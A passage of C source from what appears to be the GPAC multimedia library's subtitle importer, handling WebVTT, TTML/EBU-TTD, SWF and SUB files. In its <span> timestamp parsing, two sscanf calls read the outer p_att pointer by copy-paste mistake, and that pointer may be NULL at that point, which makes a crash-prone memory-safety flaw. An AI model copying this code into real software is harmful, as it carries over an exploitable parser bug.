gf_isom_remove_track(import->dest, track); gf_fclose(srt_in); return e; } /* Structure used to pass importer and track data to the parsers without exposing the GF_MediaImporter structure used by WebVTT and Flash->SVG */ typedef struct { GF_MediaImporter *import; u32 timescale; u32 track; u32 descriptionIndex; } GF_ISOFlusher; #ifndef GPAC_DISABLE_VTT static GF_Err gf_webvtt_import_report(void *user, GF_Err e, char *message, const char *line) { GF_ISOFlusher *flusher = (GF_ISOFlusher *)user; return gf_import_message(flusher->import, e, message, line); } static void gf_webvtt_import_header(void *user, const char *config) { GF_ISOFlusher *flusher = (GF_ISOFlusher *)user; gf_isom_update_webvtt_description(flusher->import->dest, flusher->track, flusher->descriptionIndex, config); } static void gf_webvtt_flush_sample_to_iso(void *user, GF_WebVTTSample *samp) { GF_ISOSample *s; GF_ISOFlusher *flusher = (GF_ISOFlusher *)user; //gf_webvtt_dump_sample(stdout, samp); s = gf_isom_webvtt_to_sample(samp); if (s) { s->DTS = (u64) (flusher->timescale*gf_webvtt_sample_get_start(samp)/1000); s->IsRAP = RAP; gf_isom_add_sample(flusher->import->dest, flusher->track, flusher->descriptionIndex, s); gf_isom_sample_del(&s); } gf_webvtt_sample_del(samp); } static GF_Err gf_text_import_webvtt(GF_MediaImporter *import) { GF_Err e; u32 track; u32 timescale; u32 duration; u32 descIndex=1; u32 ID; u32 OCR_ES_ID; GF_GenericSubtitleConfig *cfg; GF_WebVTTParser *vttparser; GF_ISOFlusher flusher; cfg = NULL; if (import->esd) { if (!import->esd->slConfig) { import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->predefined = 2; import->esd->slConfig->timestampResolution = 1000; } timescale = import->esd->slConfig->timestampResolution; if (!timescale) timescale = 1000; /*explicit text config*/ if (import->esd->decoderConfig && import->esd->decoderConfig->decoderSpecificInfo->tag == GF_ODF_GEN_SUB_CFG_TAG) { cfg = (GF_GenericSubtitleConfig *) import->esd->decoderConfig->decoderSpecificInfo; import->esd->decoderConfig->decoderSpecificInfo = NULL; } ID = import->esd->ESID; OCR_ES_ID = import->esd->OCRESID; } else { timescale = 1000; OCR_ES_ID = ID = 0; } if (cfg && cfg->timescale) timescale = cfg->timescale; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_TEXT, timescale); if (!track) { return gf_import_message(import, gf_isom_last_error(import->dest), "Error creating WebVTT track"); } gf_isom_set_track_enabled(import->dest, track, 1); import->final_trackID = gf_isom_get_track_id(import->dest, track); if (import->esd && !import->esd->ESID) import->esd->ESID = import->final_trackID; if (OCR_ES_ID) gf_isom_set_track_reference(import->dest, track, GF_ISOM_REF_OCR, OCR_ES_ID); /*setup track*/ if (cfg) { u32 i; u32 count; /*set track info*/ gf_isom_set_track_layout_info(import->dest, track, cfg->text_width<<16, cfg->text_height<<16, 0, 0, cfg->layer); /*and set sample descriptions*/ count = gf_list_count(cfg->sample_descriptions); for (i=0; i<count; i++) { gf_isom_new_webvtt_description(import->dest, track, NULL, NULL, NULL, &descIndex); } gf_import_message(import, GF_OK, "WebVTT import - text track %d x %d", cfg->text_width, cfg->text_height); gf_odf_desc_del((GF_Descriptor *)cfg); } else { u32 w; u32 h; gf_text_get_video_size(import, &w, &h); gf_isom_set_track_layout_info(import->dest, track, w<<16, h<<16, 0, 0, 0); gf_isom_new_webvtt_description(import->dest, track, NULL, NULL, NULL, &descIndex); gf_import_message(import, GF_OK, "WebVTT import"); } gf_text_import_set_language(import, track); duration = (u32) (((Double) import->duration)*timescale/1000.0); vttparser = gf_webvtt_parser_new(); flusher.import = import; flusher.timescale = timescale; flusher.track = track; flusher.descriptionIndex = descIndex; e = gf_webvtt_parser_init(vttparser, import->in_name, &flusher, gf_webvtt_import_report, gf_webvtt_flush_sample_to_iso, gf_webvtt_import_header); if (e != GF_OK) { gf_webvtt_parser_del(vttparser); return gf_import_message(import, GF_NOT_SUPPORTED, "Unsupported WebVTT UTF encoding"); } e = gf_webvtt_parser_parse(vttparser, duration); if (e != GF_OK) { gf_isom_remove_track(import->dest, track); } /*do not add any empty sample at the end since it modifies track duration and is not needed - it is the player job to figure out when to stop displaying the last text sample However update the last sample duration*/ gf_isom_set_last_sample_duration(import->dest, track, (u32) gf_webvtt_parser_last_duration(vttparser)); gf_webvtt_parser_del(vttparser); return e; } #endif /*GPAC_DISABLE_VTT*/ static char *ttxt_parse_string(GF_MediaImporter *import, char *str, Bool strip_lines) { u32 i=0; u32 k=0; u32 len = (u32) strlen(str); u32 state = 0; if (!strip_lines) { for (i=0; i<len; i++) { if ((str[i] == '\r') && (str[i+1] == '\n')) { i++; } str[k] = str[i]; k++; } str[k]=0; return str; } if (str[0]!='\'') return str; for (i=0; i<len; i++) { if (str[i] == '\'') { if (!state) { if (k) { str[k]='\n'; k++; } state = !state; } else if (state) { if ( (i+1==len) || ((str[i+1]==' ') || (str[i+1]=='\n') || (str[i+1]=='\r') || (str[i+1]=='\t') || (str[i+1]=='\'')) ) { state = !state; } else { str[k] = str[i]; k++; } } } else if (state) { str[k] = str[i]; k++; } } str[k]=0; return str; } static void ttml_import_progress(void *cbk, u64 cur_samp, u64 count) { gf_set_progress("TTML Loading", cur_samp, count); } static void gf_text_import_ebu_ttd_remove_samples(GF_XMLNode *root, GF_XMLNode **sample_list_node) { u32 idx = 0, body_num = 0; GF_XMLNode *node = NULL; *sample_list_node = NULL; while ( (node = (GF_XMLNode*)gf_list_enum(root->content, &idx))) { if (!strcmp(node->name, "body")) { GF_XMLNode *body_node; u32 body_idx = 0; while ( (body_node = (GF_XMLNode*)gf_list_enum(node->content, &body_idx))) { if (!strcmp(body_node->name, "div")) { *sample_list_node = body_node; body_num = gf_list_count(body_node->content); while (body_num--) { GF_XMLNode *content_node = (GF_XMLNode*)gf_list_get(body_node->content, 0); assert(gf_list_find(body_node->content, content_node) == 0); gf_list_rem(body_node->content, 0); gf_xml_dom_node_del(content_node); } return; } } } } } #define TTML_NAMESPACE "http://www.w3.org/ns/ttml" static GF_Err gf_text_import_ebu_ttd(GF_MediaImporter *import, GF_DOMParser *parser, GF_XMLNode *root) { GF_Err e, e_opt; u32 i, track, ID, desc_idx, nb_samples, nb_children; u64 last_sample_duration, last_sample_end; GF_XMLAttribute *att; GF_XMLNode *node, *root_working_copy, *sample_list_node; GF_DOMParser *parser_working_copy; char *samp_text; Bool has_body; samp_text = NULL; root_working_copy = NULL; parser_working_copy = NULL; /*setup track in 3GP format directly (no ES desc)*/ ID = (import->esd) ? import->esd->ESID : 0; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_MPEG_SUBT, 1000); if (!track) { e = gf_isom_last_error(import->dest); goto exit; } gf_isom_set_track_enabled(import->dest, track, 1); /*some MPEG-4 setup*/ if (import->esd) { if (!import->esd->ESID) import->esd->ESID = gf_isom_get_track_id(import->dest, track); if (!import->esd->decoderConfig) import->esd->decoderConfig = (GF_DecoderConfig *) gf_odf_desc_new(GF_ODF_DCD_TAG); if (!import->esd->slConfig) import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->timestampResolution = 1000; import->esd->decoderConfig->streamType = GF_STREAM_TEXT; import->esd->decoderConfig->objectTypeIndication = GPAC_OTI_TEXT_MPEG4; if (import->esd->OCRESID) gf_isom_set_track_reference(import->dest, track, GF_ISOM_REF_OCR, import->esd->OCRESID); } gf_import_message(import, GF_OK, "TTML EBU-TTD Import"); /*** root (including language) ***/ i=0; while ( (att = (GF_XMLAttribute *)gf_list_enum(root->attributes, &i))) { GF_LOG(GF_LOG_DEBUG, GF_LOG_PARSER, ("Found root attribute name %s, value %s\n", att->name, att->value)); if (!strcmp(att->name, "xmlns")) { if (strcmp(att->value, TTML_NAMESPACE)) { e = gf_import_message(import, GF_BAD_PARAM, "Found invalid EBU-TTD root attribute name %s, value %s (shall be \"%s\")\n", att->name, att->value, TTML_NAMESPACE); goto exit; } } else if (!strcmp(att->name, "xml:lang")) { if (import->esd && !import->esd->langDesc) { char *lang; lang = gf_strdup(att->value); import->esd->langDesc = (GF_Language *) gf_odf_desc_new(GF_ODF_LANG_TAG); gf_isom_set_media_language(import->dest, track, lang); } else { gf_isom_set_media_language(import->dest, track, att->value); } } } /*** style ***/ #if 0 { Bool has_styling, has_style; GF_TextSampleDescriptor *sd; has_styling = GF_FALSE; has_style = GF_FALSE; sd = (GF_TextSampleDescriptor*)gf_odf_desc_new(GF_ODF_TX3G_TAG); i=0; while ( (node = (GF_XMLNode*)gf_list_enum(root->content, &i))) { if (node->type) { continue; } else if (gf_xml_get_element_check_namespace(node, "head", root->ns) == GF_OK) { GF_XMLNode *head_node; u32 head_idx = 0; while ( (head_node = (GF_XMLNode*)gf_list_enum(node->content, &head_idx))) { if (gf_xml_get_element_check_namespace(head_node, "styling", root->ns) == GF_OK) { GF_XMLNode *styling_node; u32 styling_idx; if (has_styling) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML EBU-TTD] duplicated \"styling\" element. Abort.\n"); goto exit; } has_styling = GF_TRUE; styling_idx = 0; while ( (styling_node = (GF_XMLNode*)gf_list_enum(head_node->content, &styling_idx))) { if (gf_xml_get_element_check_namespace(styling_node, "style", root->ns) == GF_OK) { GF_XMLAttribute *p_att; u32 style_idx = 0; while ( (p_att = (GF_XMLAttribute*)gf_list_enum(styling_node->attributes, &style_idx))) { if (!strcmp(p_att->name, "tts:direction")) { } else if (!strcmp(p_att->name, "tts:fontFamily")) { sd->fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); sd->font_count = 1; sd->fonts[0].fontID = 1; sd->fonts[0].fontName = gf_strdup(p_att->value); } else if (!strcmp(p_att->name, "tts:backgroundColor")) { GF_LOG(GF_LOG_INFO, GF_LOG_PARSER, ("EBU-TTD style attribute \"%s\" ignored.\n", p_att->name)); //sd->back_color = ; } else { if ( !strcmp(p_att->name, "tts:fontSize") || !strcmp(p_att->name, "tts:lineHeight") || !strcmp(p_att->name, "tts:textAlign") || !strcmp(p_att->name, "tts:color") || !strcmp(p_att->name, "tts:fontStyle") || !strcmp(p_att->name, "tts:fontWeight") || !strcmp(p_att->name, "tts:textDecoration") || !strcmp(p_att->name, "tts:unicodeBidi") || !strcmp(p_att->name, "tts:wrapOption") || !strcmp(p_att->name, "tts:multiRowAlign") || !strcmp(p_att->name, "tts:linePadding")) { GF_LOG(GF_LOG_INFO, GF_LOG_PARSER, ("EBU-TTD style attribute \"%s\" ignored.\n", p_att->name)); } else { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("EBU-TTD unknown style attribute: \"%s\". Ignoring.\n", p_att->name)); } } } break; //TODO: we only take care of the first style } } } } } } if (!has_styling) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML EBU-TTD] missing \"styling\" element. Abort.\n"); goto exit; } if (!has_style) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML EBU-TTD] missing \"style\" element. Abort.\n"); goto exit; } e = gf_isom_new_text_description(import->dest, track, sd, NULL, NULL, &desc_idx); gf_odf_desc_del((GF_Descriptor*)sd); } #else e = gf_isom_new_xml_subtitle_description(import->dest, track, TTML_NAMESPACE, NULL, NULL, &desc_idx); #endif if (e != GF_OK) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML EBU-TTD] incorrect sample description. Abort.\n")); e = gf_isom_last_error(import->dest); goto exit; } /*** body ***/ parser_working_copy = gf_xml_dom_new(); e = gf_xml_dom_parse(parser_working_copy, import->in_name, NULL, NULL); assert (e == GF_OK); root_working_copy = gf_xml_dom_get_root(parser_working_copy); assert(root_working_copy); last_sample_duration = 0; last_sample_end = 0; nb_samples = 0; nb_children = gf_list_count(root->content); has_body = GF_FALSE; i=0; while ( (node = (GF_XMLNode*)gf_list_enum(root->content, &i))) { if (node->type) { nb_children--; continue; } e_opt = gf_xml_get_element_check_namespace(node, "body", root->ns); if (e_opt == GF_BAD_PARAM) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML EBU-TTD] ignored \"%s\" node, check your namespaces\n", node->name)); } else if (e_opt == GF_OK) { GF_XMLNode *body_node; u32 body_idx = 0; if (has_body) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML EBU-TTD] duplicated \"body\" element. Abort.\n"); goto exit; } has_body = GF_TRUE; /*remove all the entries from the working copy, we'll add samples one to one to create full XML samples*/ gf_text_import_ebu_ttd_remove_samples(root_working_copy, &sample_list_node); while ( (body_node = (GF_XMLNode*)gf_list_enum(node->content, &body_idx))) { e_opt = gf_xml_get_element_check_namespace(body_node, "div", root->ns); if (e_opt == GF_BAD_PARAM) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML EBU-TTD] ignored \"%s\" node, check your namespaces\n", node->name)); } else if (e_opt == GF_OK) { GF_XMLNode *div_node; u32 div_idx = 0, nb_p_found = 0; while ( (div_node = (GF_XMLNode*)gf_list_enum(body_node->content, &div_idx))) { e_opt = gf_xml_get_element_check_namespace(div_node, "p", root->ns); if (e_opt != GF_OK) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML] ignored \"%s\" node, check your namespaces\n", node->name)); } else if (e_opt == GF_OK) { GF_XMLNode *p_node; GF_XMLAttribute *p_att; u32 p_idx = 0, h, m, s, f, ms; s64 ts_begin = -1, ts_end = -1; //sample is either in the <p> ... while ( (p_att = (GF_XMLAttribute*)gf_list_enum(div_node->attributes, &p_idx))) { if (!p_att) continue; if (!strcmp(p_att->name, "begin")) { if (ts_begin != -1) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] duplicated \"begin\" attribute. Abort.\n"); goto exit; } if (sscanf(p_att->value, "%u:%u:%u.%u", &h, &m, &s, &ms) == 4) { ts_begin = (h*3600 + m*60+s)*1000+ms; } else if (sscanf(p_att->value, "%u:%u:%u:%u", &h, &m, &s, &f) == 4) { ts_begin = (h*3600 + m*60+s)*1000+f*40; } else if (sscanf(p_att->value, "%u:%u:%u", &h, &m, &s) == 3) { ts_begin = (h*3600 + m*60+s)*1000; } } else if (!strcmp(p_att->name, "end")) { if (ts_end != -1) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] duplicated \"end\" attribute. Abort.\n"); goto exit; } if (sscanf(p_att->value, "%u:%u:%u.%u", &h, &m, &s, &ms) == 4) { ts_end = (h*3600 + m*60+s)*1000+ms; } else if (sscanf(p_att->value, "%u:%u:%u:%u", &h, &m, &s, &f) == 4) { ts_end = (h*3600 + m*60+s)*1000+f*40; } else if (sscanf(p_att->value, "%u:%u:%u", &h, &m, &s) == 3) { ts_end = (h*3600 + m*60+s)*1000; } } if ((ts_begin != -1) && (ts_end != -1) && !samp_text && sample_list_node) { e = gf_xml_dom_append_child(sample_list_node, div_node); assert(e == GF_OK); assert(!samp_text); samp_text = gf_xml_dom_serialize((GF_XMLNode*)root_working_copy, GF_FALSE); e = gf_xml_dom_rem_child(sample_list_node, div_node); assert(e == GF_OK); } } //or under a <span> p_idx = 0; while ( (p_node = (GF_XMLNode*)gf_list_enum(div_node->content, &p_idx))) { e_opt = gf_xml_get_element_check_namespace(p_node, "span", root->ns); if (e_opt == GF_BAD_PARAM) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML] ignored \"%s\" node, check your namespaces\n", node->name)); } else if (e_opt == GF_OK) { u32 span_idx = 0; GF_XMLAttribute *span_att; while ( (span_att = (GF_XMLAttribute*)gf_list_enum(p_node->attributes, &span_idx))) { if (!span_att) continue; if (!strcmp(span_att->name, "begin")) { if (ts_begin != -1) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] duplicated \"begin\" attribute under <span>. Abort.\n"); goto exit; } if (sscanf(span_att->value, "%u:%u:%u.%u", &h, &m, &s, &ms) == 4) { ts_begin = (h*3600 + m*60+s)*1000+ms; } else if (sscanf(p_att->value, "%u:%u:%u:%u", &h, &m, &s, &f) == 4) { ts_begin = (h*3600 + m*60+s)*1000+f*40; } else if (sscanf(span_att->value, "%u:%u:%u", &h, &m, &s) == 3) { ts_begin = (h*3600 + m*60+s)*1000; } } else if (!strcmp(span_att->name, "end")) { if (ts_end != -1) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] duplicated \"end\" attribute under <span>. Abort.\n"); goto exit; } if (sscanf(span_att->value, "%u:%u:%u.%u", &h, &m, &s, &ms) == 4) { ts_end = (h*3600 + m*60+s)*1000+ms; } else if (sscanf(p_att->value, "%u:%u:%u:%u", &h, &m, &s, &f) == 4) { ts_end = (h*3600 + m*60+s)*1000+f*40; } else if (sscanf(span_att->value, "%u:%u:%u", &h, &m, &s) == 3) { ts_end = (h*3600 + m*60+s)*1000; } } if ((ts_begin != -1) && (ts_end != -1) && !samp_text && sample_list_node) { if (samp_text) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] duplicated sample text under <span>. Abort.\n"); goto exit; } /*append the sample*/ e = gf_xml_dom_append_child(sample_list_node, div_node); assert(e == GF_OK); assert(!samp_text); samp_text = gf_xml_dom_serialize((GF_XMLNode*)root_working_copy, GF_FALSE); e = gf_xml_dom_rem_child(sample_list_node, div_node); assert(e == GF_OK); } } } } if ((ts_begin != -1) && (ts_end != -1) && samp_text) { GF_ISOSample *s; GF_GenericSubtitleSample *samp; u32 len; char *str; if (ts_end < ts_begin) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] invalid timings: \"begin\"="LLD" , \"end\"="LLD". Abort.\n", ts_begin, ts_end); goto exit; } if (ts_begin < (s64)last_sample_end) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML] timing overlapping not supported: \"begin\" is "LLD" , last \"end\" was "LLD". Abort.\n", ts_begin, last_sample_end); goto exit; } str = ttxt_parse_string(import, samp_text, GF_TRUE); len = (u32) strlen(str); samp = gf_isom_new_xml_subtitle_sample(); /*each sample consists of a full valid XML file*/ e = gf_isom_xml_subtitle_sample_add_text(samp, str, len); if (e) { GF_LOG(GF_LOG_ERROR, GF_LOG_PARSER, ("[TTML] ISOM - sample add text: %s", gf_error_to_string(e))); goto exit; } gf_free(samp_text); samp_text = NULL; s = gf_isom_xml_subtitle_to_sample(samp); gf_isom_delete_xml_subtitle_sample(samp); if (!nb_samples) { s->DTS = 0; /*in MP4 we must start at T=0*/ last_sample_duration = ts_end; } else { s->DTS = ts_begin; last_sample_duration = ts_end - ts_begin; } last_sample_end = ts_end; GF_LOG(GF_LOG_DEBUG, GF_LOG_PARSER, ("ts_begin="LLD", ts_end="LLD", last_sample_duration="LLU" (real duration: "LLU"), last_sample_end="LLU"\n", ts_begin, ts_end, ts_end - last_sample_end, last_sample_duration, last_sample_end)); e = gf_isom_add_sample(import->dest, track, desc_idx, s); if (e) { GF_LOG(GF_LOG_ERROR, GF_LOG_PARSER, ("[TTML] ISOM - Add Sample: %s", gf_error_to_string(e))); goto exit; } gf_isom_sample_del(&s); nb_samples++; nb_p_found++; gf_set_progress("Importing TTML", nb_samples, nb_children); if (import->duration && (ts_end > import->duration)) break; } else { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML] incomplete sample (begin="LLD", end="LLD", text=\"%s\"). Skip.\n", ts_begin, ts_end, samp_text ? samp_text : "NULL")); } } } if (!nb_p_found) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML EBU-TTD] \"%s\" div node has no <p> elements. Aborting.\n", node->name)); goto exit; } } } } } if (!has_body) { e = gf_import_message(import, GF_BAD_PARAM, "[TTML EBU-TTD] missing \"body\" element. Abort.\n"); goto exit; } GF_LOG(GF_LOG_DEBUG, GF_LOG_PARSER, ("last_sample_duration="LLU", last_sample_end="LLU"\n", last_sample_duration, last_sample_end)); gf_isom_set_last_sample_duration(import->dest, track, (u32) last_sample_duration); gf_media_update_bitrate(import->dest, track); gf_set_progress("Importing TTML EBU-TTD", nb_samples, nb_samples); exit: gf_free(samp_text); gf_xml_dom_del(parser_working_copy); if (!gf_isom_get_sample_count(import->dest, track)) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTML EBU-TTD] No sample imported. Might be an error. Check your content.\n")); } return e; } static GF_Err gf_text_import_ttml(GF_MediaImporter *import) { GF_Err e; GF_DOMParser *parser; GF_XMLNode *root; if (import->flags == GF_IMPORT_PROBE_ONLY) return GF_OK; parser = gf_xml_dom_new(); e = gf_xml_dom_parse(parser, import->in_name, ttml_import_progress, import); if (e) { gf_import_message(import, e, "Error parsing TTML file: Line %d - %s. Abort.", gf_xml_dom_get_line(parser), gf_xml_dom_get_error(parser)); gf_xml_dom_del(parser); return e; } root = gf_xml_dom_get_root(parser); if (!root) { gf_import_message(import, e, "Error parsing TTML file: no \"root\" found. Abort."); gf_xml_dom_del(parser); return e; } /*look for TTML*/ if (gf_xml_get_element_check_namespace(root, "tt", NULL) == GF_OK) { e = gf_text_import_ebu_ttd(import, parser, root); if (e == GF_OK) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("Note: TTML import - EBU-TTD detected\n")); } else { GF_LOG(GF_LOG_ERROR, GF_LOG_PARSER, ("Parsing TTML file with error: %s\n", gf_error_to_string(e))); GF_LOG(GF_LOG_INFO, GF_LOG_PARSER, ("Unsupported TTML file - only EBU-TTD is supported (root shall be \"tt\", got \"%s\")\n", root->name)); GF_LOG(GF_LOG_INFO, GF_LOG_PARSER, ("Importing as generic TTML\n")); e = GF_OK; } } else { if (root->ns) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("TTML file not recognized: root element is \"%s:%s\" (check your namespaces)\n", root->ns, root->name)); } else { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("TTML file not recognized: root element is \"%s\"\n", root->name)); } e = GF_BAD_PARAM; } gf_xml_dom_del(parser); return e; } /* SimpleText Text tracks -related functions */ GF_Box *boxstring_new_with_data(u32 type, const char *string); #ifndef GPAC_DISABLE_SWF_IMPORT /* SWF Importer */ #include <gpac/internal/swf_dev.h> static GF_Err swf_svg_add_iso_sample(void *user, const char *data, u32 length, u64 timestamp, Bool isRap) { GF_Err e = GF_OK; GF_ISOFlusher *flusher = (GF_ISOFlusher *)user; GF_ISOSample *s; GF_BitStream *bs; bs = gf_bs_new(NULL, 0, GF_BITSTREAM_WRITE); if (!bs) return GF_BAD_PARAM; gf_bs_write_data(bs, data, length); s = gf_isom_sample_new(); if (s) { gf_bs_get_content(bs, &s->data, &s->dataLength); s->DTS = (u64) (flusher->timescale*timestamp/1000); s->IsRAP = isRap ? RAP : RAP_NO; gf_isom_add_sample(flusher->import->dest, flusher->track, flusher->descriptionIndex, s); gf_isom_sample_del(&s); } else { e = GF_BAD_PARAM; } gf_bs_del(bs); return e; } static GF_Err swf_svg_add_iso_header(void *user, const char *data, u32 length, Bool isHeader) { GF_ISOFlusher *flusher = (GF_ISOFlusher *)user; if (!flusher) return GF_BAD_PARAM; if (isHeader) { return gf_isom_update_stxt_description(flusher->import->dest, flusher->track, NULL, data, flusher->descriptionIndex); } else { return gf_isom_append_sample_data(flusher->import->dest, flusher->track, (char *)data, length); } } GF_EXPORT GF_Err gf_text_import_swf(GF_MediaImporter *import) { GF_Err e = GF_OK; u32 track; u32 timescale; //u32 duration; u32 descIndex; u32 ID; u32 OCR_ES_ID; GF_GenericSubtitleConfig *cfg; SWFReader *read; GF_ISOFlusher flusher; char *mime; if (import->flags & GF_IMPORT_PROBE_ONLY) { import->nb_tracks = 1; return GF_OK; } cfg = NULL; if (import->esd) { if (!import->esd->slConfig) { import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->predefined = 2; import->esd->slConfig->timestampResolution = 1000; } timescale = import->esd->slConfig->timestampResolution; if (!timescale) timescale = 1000; /*explicit text config*/ if (import->esd->decoderConfig && import->esd->decoderConfig->decoderSpecificInfo->tag == GF_ODF_GEN_SUB_CFG_TAG) { cfg = (GF_GenericSubtitleConfig *) import->esd->decoderConfig->decoderSpecificInfo; import->esd->decoderConfig->decoderSpecificInfo = NULL; } ID = import->esd->ESID; OCR_ES_ID = import->esd->OCRESID; } else { timescale = 1000; OCR_ES_ID = ID = 0; } if (cfg && cfg->timescale) timescale = cfg->timescale; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_TEXT, timescale); if (!track) { return gf_import_message(import, gf_isom_last_error(import->dest), "Error creating text track"); } gf_isom_set_track_enabled(import->dest, track, 1); if (import->esd && !import->esd->ESID) import->esd->ESID = gf_isom_get_track_id(import->dest, track); if (OCR_ES_ID) gf_isom_set_track_reference(import->dest, track, GF_ISOM_REF_OCR, OCR_ES_ID); if (!stricmp(import->streamFormat, "SVG")) { mime = "image/svg+xml"; } else { mime = "application/octet-stream"; } read = gf_swf_reader_new(NULL, import->in_name); gf_swf_read_header(read); /*setup track*/ if (cfg) { u32 i; u32 count; /*set track info*/ gf_isom_set_track_layout_info(import->dest, track, cfg->text_width<<16, cfg->text_height<<16, 0, 0, cfg->layer); /*and set sample descriptions*/ count = gf_list_count(cfg->sample_descriptions); for (i=0; i<count; i++) { gf_isom_new_stxt_description(import->dest, track, GF_ISOM_SUBTYPE_STXT, mime, NULL, NULL, &descIndex); } gf_import_message(import, GF_OK, "SWF import - text track %d x %d", cfg->text_width, cfg->text_height); gf_odf_desc_del((GF_Descriptor *)cfg); } else { u32 w = (u32)read->width; u32 h = (u32)read->height; if (!w || !h) gf_text_get_video_size(import, &w, &h); gf_isom_set_track_layout_info(import->dest, track, w<<16, h<<16, 0, 0, 0); gf_isom_new_stxt_description(import->dest, track, GF_ISOM_SUBTYPE_STXT, mime, NULL, NULL, &descIndex); gf_import_message(import, GF_OK, "SWF import (as text - type: %s)", import->streamFormat); } gf_text_import_set_language(import, track); //duration = (u32) (((Double) import->duration)*timescale/1000.0); flusher.import = import; flusher.track = track; flusher.timescale = timescale; flusher.descriptionIndex = descIndex; gf_swf_reader_set_user_mode(read, &flusher, swf_svg_add_iso_sample, swf_svg_add_iso_header); if (!import->streamFormat || (import->streamFormat && !stricmp(import->streamFormat, "SVG"))) { #ifndef GPAC_DISABLE_SVG e = swf_to_svg_init(read, import->swf_flags, import->swf_flatten_angle); #endif } else { /*if (import->streamFormat && !strcmp(import->streamFormat, "BIFS"))*/ #ifndef GPAC_DISABLE_VRML e = swf_to_bifs_init(read); #endif } if (e) { goto exit; } /*parse all tags*/ while (e == GF_OK) { e = swf_parse_tag(read); } if (e==GF_EOS) e = GF_OK; exit: gf_swf_reader_del(read); gf_media_update_bitrate(import->dest, track); return e; } /* end of SWF Importer */ #else GF_EXPORT GF_Err gf_text_import_swf(GF_MediaImporter *import) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("Warning: GPAC was compiled without SWF import support, can't import track.\n")); return GF_NOT_SUPPORTED; } #endif /*GPAC_DISABLE_SWF_IMPORT*/ static GF_Err gf_text_import_sub(GF_MediaImporter *import) { FILE *sub_in; u32 track, ID, timescale, i, j, desc_idx, start, end, prev_end, nb_samp, duration, len, line; u64 file_size; GF_TextConfig*cfg; GF_Err e; Double FPS; GF_TextSample * samp; Bool first_samp; s32 unicode_type; char szLine[2048], szTime[20], szText[2048]; GF_ISOSample *s; sub_in = gf_fopen(import->in_name, "rt"); unicode_type = gf_text_get_utf_type(sub_in); if (unicode_type<0) { gf_fclose(sub_in); return gf_import_message(import, GF_NOT_SUPPORTED, "Unsupported SUB UTF encoding"); } FPS = GF_IMPORT_DEFAULT_FPS; if (import->video_fps) FPS = import->video_fps; cfg = NULL; if (import->esd) { if (!import->esd->slConfig) { import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->predefined = 2; import->esd->slConfig->timestampResolution = 1000; } timescale = import->esd->slConfig->timestampResolution; if (!timescale) timescale = 1000; /*explicit text config*/ if (import->esd->decoderConfig && import->esd->decoderConfig->decoderSpecificInfo->tag == GF_ODF_TEXT_CFG_TAG) { cfg = (GF_TextConfig *) import->esd->decoderConfig->decoderSpecificInfo; import->esd->decoderConfig->decoderSpecificInfo = NULL; } ID = import->esd->ESID; } else { timescale = 1000; ID = 0; } if (cfg && cfg->timescale) timescale = cfg->timescale; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_TEXT, timescale); if (!track) { gf_fclose(sub_in); return gf_import_message(import, gf_isom_last_error(import->dest), "Error creating text track"); } gf_isom_set_track_enabled(import->dest, track, 1); if (import->esd && !import->esd->ESID) import->esd->ESID = gf_isom_get_track_id(import->dest, track); gf_text_import_set_language(import, track); file_size = 0; /*setup track*/ if (cfg) { u32 count; char *firstFont = NULL; /*set track info*/ gf_isom_set_track_layout_info(import->dest, track, cfg->text_width<<16, cfg->text_height<<16, 0, 0, cfg->layer); /*and set sample descriptions*/ count = gf_list_count(cfg->sample_descriptions); for (i=0; i<count; i++) { GF_TextSampleDescriptor *sd= (GF_TextSampleDescriptor *)gf_list_get(cfg->sample_descriptions, i); if (!sd->font_count) { sd->fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); sd->font_count = 1; sd->fonts[0].fontID = 1; sd->fonts[0].fontName = gf_strdup("Serif"); } if (!sd->default_style.fontID) sd->default_style.fontID = sd->fonts[0].fontID; if (!sd->default_style.font_size) sd->default_style.font_size = 16; if (!sd->default_style.text_color) sd->default_style.text_color = 0xFF000000; file_size = sd->default_style.font_size; gf_isom_new_text_description(import->dest, track, sd, NULL, NULL, &desc_idx); if (!firstFont) firstFont = sd->fonts[0].fontName; } gf_import_message(import, GF_OK, "Timed Text (SUB @ %02.2f) import - text track %d x %d, font %s (size %d)", FPS, cfg->text_width, cfg->text_height, firstFont, file_size); gf_odf_desc_del((GF_Descriptor *)cfg); } else { u32 w, h; GF_TextSampleDescriptor *sd; 